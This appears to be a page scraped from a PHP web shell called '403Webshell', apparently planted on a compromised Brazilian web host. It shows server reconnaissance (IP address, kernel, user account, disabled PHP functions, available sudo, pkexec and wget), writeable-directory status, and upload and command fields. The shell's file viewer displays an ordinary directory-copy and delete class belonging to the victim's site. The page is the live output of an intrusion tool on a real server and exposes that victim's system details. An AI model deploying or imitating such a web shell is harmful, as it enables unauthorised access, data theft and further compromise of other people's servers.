403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/www/controle/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/www/controle/classes/class-DirTools.php
<?php
/**
 * Jhon Santos          14/10/2014 || UpDate: 10:11
 * Parar Criar:         mkdir();
 * Intanciar Class:     $var = new DirectoryHandler();
 * Copiar Dir:          $var->copyDirectory( 'deonde', 'paraonde' );
 * Deletar Dir:         $var->deleteDirectory( 'diretorio' ); 
 * Renomear Dir:        $dir->renameDirectory( 'nomeatual', 'nomefinal' );
 */
class DirectoryHandler
{	
  
	public function renameDirectory( $startDir, $endDir ) 
	{
		$this->copyDirectory( $startDir, $endDir );
		$this->deleteDirectory( $startDir );
	}
	
	public function copyDirectory( $startDir, $endDir ) 
	{
		if( is_dir($startDir) ) {
			if( !is_dir($endDir) ) {
				mkdir( $endDir );
			}
			for ( 
				$source = new DirectoryIterator($startDir);
			  	$source->valid();
			  	$source->next()
			) {		  
				if( $source->getFilename() == '.' || $source->getFilename() == '..' ) {
					continue;
				} else {
					if( $source->getType()== 'dir' ) {
						mkdir( $endDir.DIRECTORY_SEPARATOR.$source->getFilename() );
						$this->copyDirectory( $startDir.DIRECTORY_SEPARATOR.$source->getFilename(), $endDir.DIRECTORY_SEPARATOR.$source->getFilename() );					
					} else {
					    $content = @file_get_contents( $startDir.DIRECTORY_SEPARATOR.$source->getFilename() );				    
					    $openedfile = fopen( $endDir.DIRECTORY_SEPARATOR.$source->getFilename(), "w" );				    
					    fwrite( $openedfile, $content );
					    fclose( $openedfile );					
					} 				
				}
			}
			
		}	
	}
	
	
	public function deleteDirectory( $target ) 
	{
		if( is_dir( $target ) ) {
			chmod( $target, 0777 );
			for ( 
				$source = new DirectoryIterator( $target );
			  	$source->valid();
			  	$source->next()
			) {	 
				if( $source->getFilename() == '.' || $source->getFilename() == '..' ) {
					continue;
				} else {			
					if( $source->getType()== 'dir' ) {									
						$this->deleteDirectory( $target.DIRECTORY_SEPARATOR.$source->getFilename() );
						if( is_dir( $target.DIRECTORY_SEPARATOR.$source->getFilename() ) ) {						
							rmdir( $target.DIRECTORY_SEPARATOR.$source->getFilename() );
						}					
					} else {									
					    unlink( $target.DIRECTORY_SEPARATOR.$source->getFilename() );
					}
				} 	
			}	
			rmdir( $target );	
		} 
	}	
}

Youez - 2016 - github.com/yon3zu
LinuXploit